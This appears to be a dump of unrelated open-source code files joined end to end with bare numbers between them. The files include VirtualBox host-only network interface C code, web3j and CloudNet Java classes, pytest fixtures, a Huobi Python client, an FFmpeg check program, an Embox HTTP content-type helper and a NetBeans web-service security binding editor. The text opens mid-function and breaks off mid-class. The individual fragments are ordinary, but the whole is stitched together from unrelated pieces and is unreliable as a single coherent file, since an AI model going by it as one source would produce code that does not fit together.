sizeof(szAddress), "%d.%d.%d.%d", pu8Addr[0], pu8Addr[1], pu8Addr[2], pu8Addr[3]); return NetIfAdpCtl(pIf, szAddress, pszOption, pszMask); } int NetIfEnableStaticIpConfigV6(VirtualBox * /* vBox */, HostNetworkInterface * pIf, IN_BSTR aOldIPV6Address, IN_BSTR aIPV6Address, ULONG aIPV6MaskPrefixLength) { char szAddress[5*8 + 1 + 5 + 1]; if (Bstr(aIPV6Address).length()) { RTStrPrintf(szAddress, sizeof(szAddress), "%ls/%d", aIPV6Address, aIPV6MaskPrefixLength); return NetIfAdpCtl(pIf, szAddress, NULL, NULL); } else { RTStrPrintf(szAddress, sizeof(szAddress), "%ls", aOldIPV6Address); return NetIfAdpCtl(pIf, szAddress, "remove", NULL); } } int NetIfEnableDynamicIpConfig(VirtualBox * /* vBox */, HostNetworkInterface * /* pIf */) { return VERR_NOT_IMPLEMENTED; } int NetIfCreateHostOnlyNetworkInterface(VirtualBox *pVirtualBox, IHostNetworkInterface **aHostNetworkInterface, IProgress **aProgress, const char *pcszName) { #if defined(RT_OS_LINUX) || defined(RT_OS_DARWIN) || defined(RT_OS_FREEBSD) /* create a progress object */ ComObjPtr<Progress> progress; progress.createObject(); ComPtr<IHost> host; HRESULT hrc = pVirtualBox->COMGETTER(Host)(host.asOutParam()); if (SUCCEEDED(hrc)) { hrc = progress->init(pVirtualBox, host, Bstr("Creating host only network interface").raw(), FALSE /* aCancelable */); if (SUCCEEDED(hrc)) { progress.queryInterfaceTo(aProgress); char szAdpCtl[RTPATH_MAX]; int rc = RTPathExecDir(szAdpCtl, sizeof(szAdpCtl) - sizeof("/" VBOXNETADPCTL_NAME " add")); if (RT_FAILURE(rc)) { progress->i_notifyComplete(E_FAIL, COM_IIDOF(IHostNetworkInterface), HostNetworkInterface::getStaticComponentName(), "Failed to get program path, rc=%Rrc\n", rc); return rc; } strcat(szAdpCtl, "/" VBOXNETADPCTL_NAME " "); if (pcszName && strlen(pcszName) <= RTPATH_MAX - strlen(szAdpCtl) - sizeof(" add")) { strcat(szAdpCtl, pcszName); strcat(szAdpCtl, " add"); } else strcat(szAdpCtl, "add"); if (strlen(szAdpCtl) < RTPATH_MAX - sizeof(" 2>&1")) strcat(szAdpCtl, " 2>&1"); FILE *fp = popen(szAdpCtl, "r"); if (fp) { char szBuf[128]; /* We are not interested in long error messages. */ if (fgets(szBuf, sizeof(szBuf), fp)) { /* Remove trailing new line characters. */ char *pLast = szBuf + strlen(szBuf) - 1; if (pLast >= szBuf && *pLast == '\n') *pLast = 0; if (!strncmp(VBOXNETADPCTL_NAME ":", szBuf, sizeof(VBOXNETADPCTL_NAME))) { progress->i_notifyComplete(E_FAIL, COM_IIDOF(IHostNetworkInterface), HostNetworkInterface::getStaticComponentName(), "%s", szBuf); pclose(fp); return E_FAIL; } size_t cbNameLen = strlen(szBuf) + 1; PNETIFINFO pInfo = (PNETIFINFO)RTMemAllocZ(RT_UOFFSETOF_DYN(NETIFINFO, szName[cbNameLen])); if (!pInfo) rc = VERR_NO_MEMORY; else { strcpy(pInfo->szShortName, szBuf); strcpy(pInfo->szName, szBuf); rc = NetIfGetConfigByName(pInfo); if (RT_FAILURE(rc)) { progress->i_notifyComplete(E_FAIL, COM_IIDOF(IHostNetworkInterface), HostNetworkInterface::getStaticComponentName(), "Failed to get config info for %s (as reported by '" VBOXNETADPCTL_NAME " add')\n", szBuf); } else { Bstr IfName(szBuf); /* create a new uninitialized host interface object */ ComObjPtr<HostNetworkInterface> iface; iface.createObject(); iface->init(IfName, HostNetworkInterfaceType_HostOnly, pInfo); iface->i_setVirtualBox(pVirtualBox); iface.queryInterfaceTo(aHostNetworkInterface); } RTMemFree(pInfo); } if ((rc = pclose(fp)) != 0) { progress->i_notifyComplete(E_FAIL, COM_IIDOF(IHostNetworkInterface), HostNetworkInterface::getStaticComponentName(), "Failed to execute '" VBOXNETADPCTL_NAME " add' (exit status: %d)", rc); rc = VERR_INTERNAL_ERROR; } } else { /* Failed to add an interface */ rc = VERR_PERMISSION_DENIED; progress->i_notifyComplete(E_FAIL, COM_IIDOF(IHostNetworkInterface), HostNetworkInterface::getStaticComponentName(), "Failed to execute '" VBOXNETADPCTL_NAME " add' (exit status: %d). Check permissions!", rc); pclose(fp); } } if (RT_SUCCESS(rc)) progress->i_notifyComplete(rc); else hrc = E_FAIL; } } return hrc; #else NOREF(pVirtualBox); NOREF(aHostNetworkInterface); NOREF(aProgress); NOREF(pcszName); return VERR_NOT_IMPLEMENTED; #endif } int NetIfRemoveHostOnlyNetworkInterface(VirtualBox *pVirtualBox, IN_GUID aId, IProgress **aProgress) { #if defined(RT_OS_LINUX) || defined(RT_OS_DARWIN) || defined(RT_OS_FREEBSD) /* create a progress object */ ComObjPtr<Progress> progress; progress.createObject(); ComPtr<IHost> host; int rc = VINF_SUCCESS; HRESULT hr = pVirtualBox->COMGETTER(Host)(host.asOutParam()); if (SUCCEEDED(hr)) { Bstr ifname; ComPtr<IHostNetworkInterface> iface; if (FAILED(host->FindHostNetworkInterfaceById(Guid(aId).toUtf16().raw(), iface.asOutParam()))) return VERR_INVALID_PARAMETER; iface->COMGETTER(Name)(ifname.asOutParam()); if (ifname.isEmpty()) return VERR_INTERNAL_ERROR; rc = progress->init(pVirtualBox, host, Bstr("Removing host network interface").raw(), FALSE /* aCancelable */); if (SUCCEEDED(rc)) { progress.queryInterfaceTo(aProgress); rc = NetIfAdpCtl(Utf8Str(ifname).c_str(), "remove", NULL, NULL); if (RT_FAILURE(rc)) progress->i_notifyComplete(E_FAIL, COM_IIDOF(IHostNetworkInterface), HostNetworkInterface::getStaticComponentName(), "Failed to execute '" VBOXNETADPCTL_NAME "' (exit status: %d)", rc); else progress->i_notifyComplete(S_OK); } } else { progress->i_notifyComplete(hr); rc = VERR_INTERNAL_ERROR; } return rc; #else NOREF(pVirtualBox); NOREF(aId); NOREF(aProgress); return VERR_NOT_IMPLEMENTED; #endif } int NetIfGetConfig(HostNetworkInterface * /* pIf */, NETIFINFO *) { return VERR_NOT_IMPLEMENTED; } int NetIfDhcpRediscover(VirtualBox * /* pVBox */, HostNetworkInterface * /* pIf */) { return VERR_NOT_IMPLEMENTED; } /** * Obtain the current state of the interface. * * @returns VBox status code. * * @param pcszIfName Interface name. * @param penmState Where to store the retrieved state. */ int NetIfGetState(const char *pcszIfName, NETIFSTATUS *penmState) { int sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP); if (sock < 0) return VERR_OUT_OF_RESOURCES; struct ifreq Req; RT_ZERO(Req); RTStrCopy(Req.ifr_name, sizeof(Req.ifr_name), pcszIfName); if (ioctl(sock, SIOCGIFFLAGS, &Req) < 0) { Log(("NetIfGetState: ioctl(SIOCGIFFLAGS) -> %d\n", errno)); *penmState = NETIF_S_UNKNOWN; } else *penmState = (Req.ifr_flags & IFF_UP) ? NETIF_S_UP : NETIF_S_DOWN; close(sock); return VINF_SUCCESS; }
7,919
4,041
/* * Copyright 2020 Web3 Labs Ltd. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the * specific language governing permissions and limitations under the License. */ package org.web3j.protocol.besu.response; import java.math.BigInteger; import java.util.Objects; import com.fasterxml.jackson.annotation.JsonCreator; import com.fasterxml.jackson.annotation.JsonProperty; import org.web3j.utils.Numeric; public class BesuSignerMetric { private final String address; private final String proposedBlockCount; private final String lastProposedBlockNumber; @JsonCreator public BesuSignerMetric( @JsonProperty(value = "address") final String address, @JsonProperty(value = "proposedBlockCount") final String proposedBlockCount, @JsonProperty(value = "name") final String lastProposedBlockNumber) { this.address = address; this.proposedBlockCount = proposedBlockCount; this.lastProposedBlockNumber = lastProposedBlockNumber; } public String getAddress() { return address; } public BigInteger getProposedBlockCount() { return Numeric.decodeQuantity(proposedBlockCount); } public BigInteger getLastProposedBlockNumber() { return Numeric.decodeQuantity(lastProposedBlockNumber); } @Override public boolean equals(Object o) { if (this == o) { return true; } if (o == null || getClass() != o.getClass()) { return false; } BesuSignerMetric that = (BesuSignerMetric) o; return getAddress().equals(that.getAddress()) && Objects.equals(getProposedBlockCount(), that.getProposedBlockCount()) && Objects.equals(getLastProposedBlockNumber(), that.getLastProposedBlockNumber()); } @Override public int hashCode() { return Objects.hash(getAddress(), getProposedBlockCount(), getLastProposedBlockNumber()); } }
836
2,062
import pytest from starlette.testclient import TestClient from tests.asgi.app import create_app @pytest.fixture def test_client(): app = create_app() return TestClient(app) @pytest.fixture def test_client_keep_alive(): app = create_app(keep_alive=True, keep_alive_interval=0.1) return TestClient(app) @pytest.fixture def test_client_no_graphiql(): app = create_app(graphiql=False) return TestClient(app)
166
611
<gh_stars>100-1000 from huobi.connection.restapi_sync_client import RestApiSyncClient from huobi.constant import * from huobi.model.margin.general_repay_loan_result import GeneralRepayLoanResult from huobi.utils.json_parser import default_parse_list_dict class PostGeneralRepayLoanService: def __init__(self, params): self.params = params def request(self, **kwargs): def get_channel(): path = "/v2/account/repayment" return path def parse(dict_data): return default_parse_list_dict(dict_data.get("data", {}), GeneralRepayLoanResult) return RestApiSyncClient(**kwargs).request_process(HttpMethod.POST_SIGN, get_channel(), self.params, parse)
278
3,645
/* * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include "libavcodec/avcodec.h" int main(void){ AVCodec *codec = NULL; int ret = 0; avcodec_register_all(); while (codec = av_codec_next(codec)) { if (av_codec_is_encoder(codec)) { if (codec->type == AVMEDIA_TYPE_AUDIO) { if (!codec->sample_fmts) { av_log(NULL, AV_LOG_FATAL, "Encoder %s is missing the sample_fmts field\n", codec->name); ret = 1; } } } } return ret; }
486
571
package com.univocity.trader.chart.charts.painter; import com.univocity.trader.candles.*; import com.univocity.trader.chart.*; import com.univocity.trader.chart.charts.*; import com.univocity.trader.chart.charts.painter.renderer.*; import com.univocity.trader.chart.dynamic.*; import java.awt.*; import java.util.function.*; public abstract class AbstractDataPainter<T extends Theme> extends AbstractPainter<T> { private final String description; private Renderer<?>[] renderers; private final Consumer<CandleHistory.UpdateType> historyUpdateConsumer; private final Painter<T> parent; private final Runnable reset; private final Consumer<Candle> process; private final AreaPainter areaPainter; private final StringBuilder headerLine = new StringBuilder(); private boolean resetting = false; public AbstractDataPainter(String description, Painter<T> parent, Runnable reset, Consumer<Candle> process) { super(parent.overlay()); this.description = description; this.parent = parent; historyUpdateConsumer = this::processHistoryUpdate; this.reset = reset; this.process = process; this.areaPainter = parent instanceof AreaPainter ? (AreaPainter) parent : null; } @Override public String header() { return headerLine.toString(); } @Override public final Rectangle bounds() { return parent.bounds(); } protected abstract Renderer<?>[] createRenderers(); protected final void reset() { if(resetting){ return; } try{ resetting = true; reset.run(); if (this.renderers == null) { this.renderers = createRenderers(); if (renderers == null) { throw new IllegalStateException("Renderers cannot be null"); } } } finally { resetting = false; } } protected final void process(Candle candle) { process.accept(candle); } @Override public void paintOn(BasicChart<?> chart, Graphics2D g, int width, Overlay overlay) { for (int i = 0; i < chart.candleHistory.size(); i++) { for (int j = 0; j < renderers.length; j++) { renderers[j].paintNext(i, chart, overlay, g, areaPainter); } } Candle candle = chart.getCurrentCandle(); Point candleLocation = chart.getCurrentCandleLocation(); headerLine.setLength(0); if (candle != null && candleLocation != null) { if (description != null && !description.isBlank()) { headerLine.append(description); } int candleIndex = chart.candleHistory.indexOf(candle); if (candleIndex >= 0) { int len = headerLine.length(); if (renderers.length > 0 && headerLine.length() > 0) { headerLine.append('['); } for (int i = 0; i < renderers.length; i++) { if (renderers[i].displayValue()) { renderers[i].updateSelection(candleIndex, candle, candleLocation, chart, overlay, g, areaPainter, headerLine); } } if (headerLine.length() == len + 1) { //nothing appended by renderers, remove the '[' headerLine.deleteCharAt(len); } else { if (renderers.length > 0 && headerLine.length() > 0) { headerLine.append(']'); } } } } } private void processHistoryUpdate(CandleHistory.UpdateType updateType) { if (chart == null) { //painter uninstalled. return; } if (updateType != CandleHistory.UpdateType.INCREMENT) { reset(); if (chart == null) { return; } final int historySize = chart.candleHistory.size(); for (int j = 0; j < renderers.length; j++) { renderers[j].reset(historySize); } for (int i = 0; i < historySize - 1; i++) { Candle candle = chart.candleHistory.get(i); if (candle == null) { return; } process(candle); for (int j = 0; j < renderers.length; j++) { renderers[j].nextValue(candle); } } } Candle last = chart.candleHistory.getLast(); if(last != null) { process(last); for (int j = 0; j < renderers.length; j++) { renderers[j].nextValue(last); } } invokeRepaint(); } @Override public void install(BasicChart<?> chart) { super.install(chart); chart.candleHistory.addDataUpdateListener(historyUpdateConsumer); historyUpdateConsumer.accept(CandleHistory.UpdateType.NEW_HISTORY); } @Override public void uninstall(BasicChart<?> chart) { super.uninstall(chart); chart.candleHistory.removeDataUpdateListener(historyUpdateConsumer); } }
1,574
304
/* * Copyright 2019-2021 CloudNetService team & contributors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package de.dytanic.cloudnet.wrapper.network.packet; import de.dytanic.cloudnet.driver.api.RemoteDatabaseRequestType; import de.dytanic.cloudnet.driver.network.def.PacketConstants; import de.dytanic.cloudnet.driver.network.protocol.Packet; import de.dytanic.cloudnet.driver.serialization.ProtocolBuffer; import java.util.function.Consumer; public class PacketClientDatabaseAction extends Packet { public PacketClientDatabaseAction(RemoteDatabaseRequestType type, Consumer<ProtocolBuffer> modifier) { super(PacketConstants.INTERNAL_DATABASE_API_CHANNEL, ProtocolBuffer.create().writeEnumConstant(type)); if (modifier != null) { modifier.accept(super.body); } } }
385
809
<filename>src/cmds/net/httpd/httpd_util.c /** * @file * @brief * * @author <NAME> * @date 15.04.2015 */ #include <errno.h> #include <stddef.h> #include <string.h> #include "httpd.h" static const char *ext2type_html[] = { ".html", ".htm", NULL }; static const char *ext2type_jpeg[] = { ".jpeg", ".jpg", NULL }; static const struct ext2type_table_item { const char *type; const char *ext; const char **exts; } httpd_ext2type_table[] = { { .exts = ext2type_html, .type = "text/html", }, { .exts = ext2type_jpeg, .type = "image/jpeg", }, { .ext = ".png", .type = "image/png", }, { .ext = ".gif", .type = "image/gif", }, { .ext = ".ico", .type = "image/vnd.microsoft.icon", }, { .ext = ".js", .type = "application/javascript", }, { .ext = ".css", .type = "text/css", }, { .ext = "", .type = "application/unknown", }, }; static const char *ext2type_unkwown = "plain/text"; const char *httpd_filename2content_type(const char *filename) { int i_table; const char *file_ext; file_ext = strrchr(filename, '.'); if (file_ext) { for (i_table = 0; i_table < ARRAY_SIZE(httpd_ext2type_table); i_table ++) { const struct ext2type_table_item *ti = &httpd_ext2type_table[i_table]; if (ti->ext) { if (0 == strcmp(file_ext, ti->ext)) { return ti->type; } } if (ti->exts) { const char **ext; for (ext = ti->exts; *ext != NULL; ext++) { if (0 == strcmp(file_ext, *ext)) { return ti->type; } } } } } httpd_error("can't determ content type for file: %s", filename); return ext2type_unkwown; } int httpd_header(const struct client_info *cinfo, int st, const char *msg) { FILE *skf = fdopen(cinfo->ci_sock, "rw"); if (!skf) { httpd_error("can't allocate FILE for socket"); return -ENOMEM; } fprintf(skf, "HTTP/1.1 %d %s\r\n" "Content-Type: %s\r\n" "Connection: close\r\n" "\r\n", st, msg, "text/plain"); fclose(skf); return 0; }
904
655
from .GraphConvInfo import GraphConvInfo from .GraphConvModule import GraphConvModule, GraphConvFunction from .GraphPoolInfo import GraphPoolInfo from .GraphPoolModule import GraphAvgPoolModule, GraphMaxPoolModule from .utils import *
70
5,250
<reponame>jiandiao/flowable-engine /* Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.flowable.cmmn.test.runtime; import java.util.Map; import org.flowable.cmmn.api.delegate.DelegatePlanItemInstance; import org.flowable.cmmn.api.delegate.PlanItemJavaDelegate; import org.flowable.cmmn.api.history.HistoricCaseInstance; import org.flowable.cmmn.api.runtime.CaseInstance; import org.flowable.cmmn.engine.CmmnEngineConfiguration; import org.flowable.cmmn.engine.impl.util.CommandContextUtil; import org.flowable.cmmn.engine.test.impl.CmmnHistoryTestHelper; import org.flowable.common.engine.impl.history.HistoryLevel; public class TestQueryCaseInstanceWithIncludeVariablesDelegate implements PlanItemJavaDelegate { public static Map<String, Object> VARIABLES; public static Map<String, Object> HISTORIC_VARIABLES; public static void reset() { VARIABLES = null; HISTORIC_VARIABLES = null; } @Override public void execute(DelegatePlanItemInstance planItemInstance) { planItemInstance.setVariable("varFromTheServiceTask", "valueFromTheServiceTask"); CmmnEngineConfiguration cmmnEngineConfiguration = CommandContextUtil.getCmmnEngineConfiguration(); CaseInstance caseInstance = cmmnEngineConfiguration.getCmmnRuntimeService().createCaseInstanceQuery() .caseInstanceId(planItemInstance.getCaseInstanceId()) .includeCaseVariables() .singleResult(); VARIABLES = caseInstance.getCaseVariables(); if (CmmnHistoryTestHelper.isHistoryLevelAtLeast(HistoryLevel.ACTIVITY, cmmnEngineConfiguration)) { HistoricCaseInstance historicCaseInstance = cmmnEngineConfiguration.getCmmnHistoryService().createHistoricCaseInstanceQuery() .caseInstanceId(planItemInstance.getCaseInstanceId()) .includeCaseVariables() .singleResult(); HISTORIC_VARIABLES = historicCaseInstance.getCaseVariables(); } } }
858
1,056
<gh_stars>1000+ /* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.netbeans.modules.j2ee.sun.share.configbean.customizers.webservice; import java.awt.BorderLayout; import java.awt.Dimension; import java.awt.GridBagConstraints; import java.awt.Insets; import java.beans.PropertyChangeEvent; import java.beans.PropertyChangeListener; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.Comparator; import java.util.ResourceBundle; import javax.swing.JPanel; import javax.swing.event.TableModelEvent; import javax.swing.event.TableModelListener; import org.netbeans.modules.j2ee.sun.dd.api.ASDDVersion; import org.netbeans.modules.j2ee.sun.dd.api.CommonDDBean; import org.netbeans.modules.j2ee.sun.dd.api.common.JavaMethod; import org.netbeans.modules.j2ee.sun.dd.api.common.Message; import org.netbeans.modules.j2ee.sun.dd.api.common.MessageSecurity; import org.netbeans.modules.j2ee.sun.dd.api.common.MessageSecurityBinding; import org.netbeans.modules.j2ee.sun.share.Constants; import org.netbeans.modules.j2ee.sun.share.configbean.Utils; import org.netbeans.modules.j2ee.sun.share.configbean.customizers.common.GenericTableModel; import org.netbeans.modules.j2ee.sun.share.configbean.customizers.common.GenericTablePanel; import org.netbeans.modules.j2ee.sun.share.configbean.customizers.common.HelpContext; import org.netbeans.modules.j2ee.sun.share.configbean.customizers.common.InputDialog; import org.openide.util.NbBundle; /** * * @author <NAME> */ public class EditBindingMultiview extends JPanel implements TableModelListener { private final ResourceBundle webserviceBundle = NbBundle.getBundle( "org.netbeans.modules.j2ee.sun.share.configbean.customizers.webservice.Bundle"); // NOI18N private final ASDDVersion asVersion; private final String asCloneVersion; private final MessageSecurityBinding msBinding; private final boolean methodAsOperation; private Dimension initialPreferredSize; // Table for editing MessageSecurity entries private GenericTableModel messageSecurityModel; private GenericTablePanel messageSecurityPanel; private MessageSecurity [] bindingData; private MessageSecurity [] newBindingData; private String providerId; /** Creates new form EditBinding */ public EditBindingMultiview(MessageSecurityBinding binding, boolean asOperation, ASDDVersion asDDVersion, String stringVersion) { methodAsOperation = asOperation; asVersion = asDDVersion; asCloneVersion = stringVersion; msBinding = binding; providerId = msBinding.getProviderId(); bindingData = expand(binding.getMessageSecurity()); initComponents(); initUserComponents(); initFields(); } public String getProviderId() { return providerId; } /** This method is called from within the constructor to * initialize the form. * WARNING: Do NOT modify this code. The content of this method is * always regenerated by the Form Editor. */ // <editor-fold defaultstate="collapsed" desc=" Generated Code ">//GEN-BEGIN:initComponents private void initComponents() { java.awt.GridBagConstraints gridBagConstraints; jLblAuthReq = new javax.swing.JLabel(); jLblAuthorizationLayer = new javax.swing.JLabel(); jTxtAuthorizationLayer = new javax.swing.JTextField(); jLblProvIdReq = new javax.swing.JLabel(); jLblProviderId = new javax.swing.JLabel(); jTxtProviderId = new javax.swing.JTextField(); setLayout(new java.awt.GridBagLayout()); jLblAuthReq.setLabelFor(jTxtAuthorizationLayer); jLblAuthReq.setText("*"); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.insets = new java.awt.Insets(6, 6, 0, 0); add(jLblAuthReq, gridBagConstraints); jLblAuthorizationLayer.setLabelFor(jTxtAuthorizationLayer); jLblAuthorizationLayer.setText(webserviceBundle.getString("LBL_AuthorizationLayer_1")); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.anchor = java.awt.GridBagConstraints.LINE_START; gridBagConstraints.insets = new java.awt.Insets(6, 6, 0, 0); add(jLblAuthorizationLayer, gridBagConstraints); jTxtAuthorizationLayer.setEditable(false); jTxtAuthorizationLayer.setText("SOAP"); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridwidth = java.awt.GridBagConstraints.REMAINDER; gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL; gridBagConstraints.weightx = 1.0; gridBagConstraints.insets = new java.awt.Insets(6, 6, 0, 5); add(jTxtAuthorizationLayer, gridBagConstraints); jLblProvIdReq.setLabelFor(jTxtProviderId); jLblProvIdReq.setText("*"); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.insets = new java.awt.Insets(6, 6, 0, 0); add(jLblProvIdReq, gridBagConstraints); jLblProviderId.setLabelFor(jTxtProviderId); jLblProviderId.setText(webserviceBundle.getString("LBL_Provider_Id_1")); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.anchor = java.awt.GridBagConstraints.LINE_START; gridBagConstraints.insets = new java.awt.Insets(6, 6, 0, 0); add(jLblProviderId, gridBagConstraints); jTxtProviderId.addKeyListener(new java.awt.event.KeyAdapter() { public void keyReleased(java.awt.event.KeyEvent evt) { jTxtProviderIdKeyReleased(evt); } }); gridBagConstraints = new java.awt.GridBagConstraints(); gridBagConstraints.gridwidth = java.awt.GridBagConstraints.REMAINDER; gridBagConstraints.fill = java.awt.GridBagConstraints.HORIZONTAL; gridBagConstraints.weightx = 1.0; gridBagConstraints.insets = new java.awt.Insets(6, 6, 0, 5); add(jTxtProviderId, gridBagConstraints); }// </editor-fold>//GEN-END:initComponents private void jTxtProviderIdKeyReleased(java.awt.event.KeyEvent evt) {//GEN-FIRST:event_jTxtProviderIdKeyReleased providerId = jTxtProviderId.getText(); firePropertyChange(Constants.USER_DATA_CHANGED, null, null); }//GEN-LAST:event_jTxtProviderIdKeyReleased // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JLabel jLblAuthReq; private javax.swing.JLabel jLblAuthorizationLayer; private javax.swing.JLabel jLblProvIdReq; private javax.swing.JLabel jLblProviderId; private javax.swing.JTextField jTxtAuthorizationLayer; private javax.swing.JTextField jTxtProviderId; // End of variables declaration//GEN-END:variables private void initUserComponents() { /* Save preferred size before adding table. We have our own width and * will add a constant of our own choosing for the height in init(), below. */ initialPreferredSize = getPreferredSize(); /* Add message-security table panel : * TableEntry list has four properties: locale, agent, charset, description */ ArrayList tableColumns = new ArrayList(5); tableColumns.add(new MessageEntry(methodAsOperation)); tableColumns.add(new AuthorizationEntry(MessageSecurity.REQUEST_PROTECTION, "AuthSource", "ReqAuthSource")); // NOI18N - property name tableColumns.add(new AuthorizationEntry(MessageSecurity.REQUEST_PROTECTION, "AuthRecipient", "ReqAuthRecipient")); // NOI18N - property name tableColumns.add(new AuthorizationEntry(MessageSecurity.RESPONSE_PROTECTION, "AuthSource", "RespAuthSource")); // NOI18N - property name tableColumns.add(new AuthorizationEntry(MessageSecurity.RESPONSE_PROTECTION, "AuthRecipient", "RespAuthRecipient")); // NOI18N - property name messageSecurityModel = new GenericTableModel( new GenericTableModel.ParentPropertyFactory() { public CommonDDBean newParentProperty(ASDDVersion asVersion) { return msBinding.newMessageSecurity(); } }, tableColumns); messageSecurityModel.addTableModelListener(this); messageSecurityPanel = new GenericTablePanel(messageSecurityModel, webserviceBundle, "MessageSecurity", // NOI18N - property name MessageSecurityEntryPanel.class, HelpContext.HELP_SERVICE_ENDPOINT_SECURITY_POPUP, this.methodAsOperation); GridBagConstraints gridBagConstraints = new GridBagConstraints(); gridBagConstraints.gridwidth = GridBagConstraints.REMAINDER; gridBagConstraints.fill = GridBagConstraints.BOTH; gridBagConstraints.weightx = 1.0; gridBagConstraints.weighty = 1.0; gridBagConstraints.insets = new Insets(0, 6, 0, 5); add(messageSecurityPanel, gridBagConstraints); getAccessibleContext().setAccessibleName(webserviceBundle.getString("ACSN_EditBindings")); // NOI18N getAccessibleContext().setAccessibleDescription(webserviceBundle.getString("ACSD_EditBindings")); // NOI18N } private void initFields() { // Initialize table data model messageSecurityPanel.setModel(bindingData, asVersion); // Initialize text fields. updateTextFields(); // Set preferred size (just height really) to be something reasonable (because // the default is unnecessarily tall). setPreferredSize(new Dimension(initialPreferredSize.width, initialPreferredSize.height + 148)); } private void updateTextFields() { jTxtProviderId.setText(providerId); } Collection getErrors() { // Validate what the user typed in as a valid group name ArrayList errors = new ArrayList(); String newProviderId = getProviderId(); /** Providier ID must not be blank... */ if(!Utils.notEmpty(newProviderId)) { errors.add(webserviceBundle.getString("ERR_BlankProviderId")); // NOI18N } /** Should be at least one binding... */ if(newBindingData == null || newBindingData.length == 0) { errors.add(webserviceBundle.getString("ERR_NoSecurityBindings")); // NOI18N } /* Should only be one binding if any are named "*" */ if(newBindingData != null && newBindingData.length > 1 && hasStarBinding()) { errors.add(webserviceBundle.getString("ERR_StarBindingConflict")); // NOI18N } return errors; } private boolean hasStarBinding() { boolean result = false; for(int i = 0; i < newBindingData.length; i++) { String name = null; if(newBindingData[i] != null) { Message [] msgs = newBindingData[i].getMessage(); if(msgs != null && msgs.length > 0 && msgs[0] != null) { name = getMethodName(msgs[0]); } } if("*".equals(name)) { result = true; break; } } return result; } /** ----------------------------------------------------------------------- * Implementation of TableModelListener interface */ public void tableChanged(TableModelEvent e) { newBindingData = (MessageSecurity[]) messageSecurityModel.getData().toArray(new MessageSecurity [0]); firePropertyChange(Constants.USER_DATA_CHANGED, null, null); } private void commit() { // Set authorization layer msBinding.setAuthLayer("SOAP"); // NOI18N // Set provider id to binding. String newProviderId = getProviderId(); msBinding.setProviderId(newProviderId); // Set message security entries. newBindingData = compress(newBindingData); msBinding.setMessageSecurity(newBindingData); } private MessageSecurity [] expand(MessageSecurity [] bindingData) { MessageSecurity [] result = new MessageSecurity[0]; if(bindingData != null && bindingData.length > 0) { ArrayList bindings = new ArrayList(bindingData.length * 10); for(int i = 0; i < bindingData.length; i++) { MessageSecurity ms = bindingData[i]; Message [] messages = ms.getMessage(); if(messages != null && messages.length > 0) { if(messages.length == 1) { bindings.add(ms); } else { for(int j = 0; j < messages.length; j++) { MessageSecurity newMS = (MessageSecurity) ms.cloneVersion(asCloneVersion); Message newMessage = newMS.getMessage(j); newMS.setMessage(new Message [] { newMessage } ); bindings.add(newMS); } } } } result = (MessageSecurity []) bindings.toArray(result); } return result; } private MessageSecurity [] compress(MessageSecurity [] bindingData) { MessageSecurity [] result = null; if(bindingData != null && bindingData.length > 0) { ArrayList securityList = new ArrayList(bindingData.length); Arrays.sort(bindingData, new MessageSecurityComparator(true)); MessageSecurityComparator protectionComparator = new MessageSecurityComparator(false); for(int i = 0; i < bindingData.length; ) { int j = i + 1; while(j < bindingData.length && protectionComparator.compare(bindingData[i], bindingData[j]) == 0) { j++; } int elementsToMerge = j - i; assert elementsToMerge > 0; if(elementsToMerge == 1) { securityList.add(bindingData[i].clone()); } else { ArrayList messageList = new ArrayList(elementsToMerge); for(int m = i; m < j; m++) { Message [] message = bindingData[m].getMessage(); if(message != null && message.length > 0) { // Shouldn't be more than one message element by this point. messageList.add(message[0].clone()); } } Message [] messages = (Message []) messageList.toArray(new Message [0]); bindingData[i].setMessage(messages); securityList.add(bindingData[i].clone()); } i += elementsToMerge; } result = (MessageSecurity []) securityList.toArray(new MessageSecurity[0]); } return result; } private static class MessageSecurityComparator implements Comparator { private boolean sortNames; public MessageSecurityComparator(boolean sn) { sortNames = sn; } public int 